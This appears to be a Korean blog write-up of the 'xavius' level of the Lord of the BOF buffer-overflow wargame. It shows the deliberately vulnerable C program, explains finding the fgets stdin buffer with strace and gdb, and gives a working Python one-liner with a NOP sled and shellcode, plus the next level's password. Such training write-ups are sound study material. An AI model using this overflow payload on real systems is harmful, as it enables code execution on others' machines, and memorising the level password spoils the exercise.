2011. 6. 15. 22:01

[view source]

/*

The Lord of the BOF : The Fellowship of the BOF

- xavius

- arg

*/

#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>

   

main()

{

char buffer[40];

char *ret_addr;

   

// overflow!

fgets(buffer, 256, stdin);

printf("%s\n", buffer);

   

if(*(buffer+47) == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}

   

if(*(buffer+47) == '\x08')

{

printf("binary image retbayed you, too!!\n");

exit(0);

}

   

// check if the ret_addr is library function or not

memcpy(&ret_addr, buffer+44, 4);

while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function

{

if(*ret_addr == '\xc9'){ // leave

if(*(ret_addr+1) == '\xc3'){ // ret

printf("You cannot use library function!\n");

exit(0);

}

}

ret_addr++;

}

   

// stack destroyer

memset(buffer, 0, 44);

memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

   

// LD_* eraser

// 40 : extra space for memset function

memset(buffer-3000, 0, 3000-40);

}


♧ 사용 할 수 있는 공간이 별루 없다.
fgets 내부 버퍼를 사용하여 문제를 풀도록 하자.

   

[ summary ]

① strace ./사본으로 내용을 보면 fgets()는 내부 시스템콜 read()를 호출하는데
이때 표준입출력 0인 파일디스크립터를 인자로 하여 호출 하는것을 볼 수 있다.
즉 read(0, 을 사이로 0x40015000~0x40016000(4096Byte)까지 메모리 맵핑 하는 것을 볼 수 있다.

② gdb로 fgets를 호출 후 바로 확인해 보면 입력한 "DDDD~"가 0x40015000부터 들어가는 것을 볼 수 있다.


③ 이 공간에 쉘코드를 사입후 문제를 푼다.

[BUFFER]+[SFP](44Byte)

[RET]

[NOP썰매]+[쉘코드]

0X40015000


   

[ Attack ]

∑xploit

( python -c 'print "\x90"*27 + "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3" + "\x01\x50\x01\x40"' ; tee) | ./xavius

※(0x40015000은 마지막 "00"이 널로 취급 때문에 NOP썰매가 있는 곳으로 수정)

성공!!!



nightmare : "beg for me"

Posted by devanix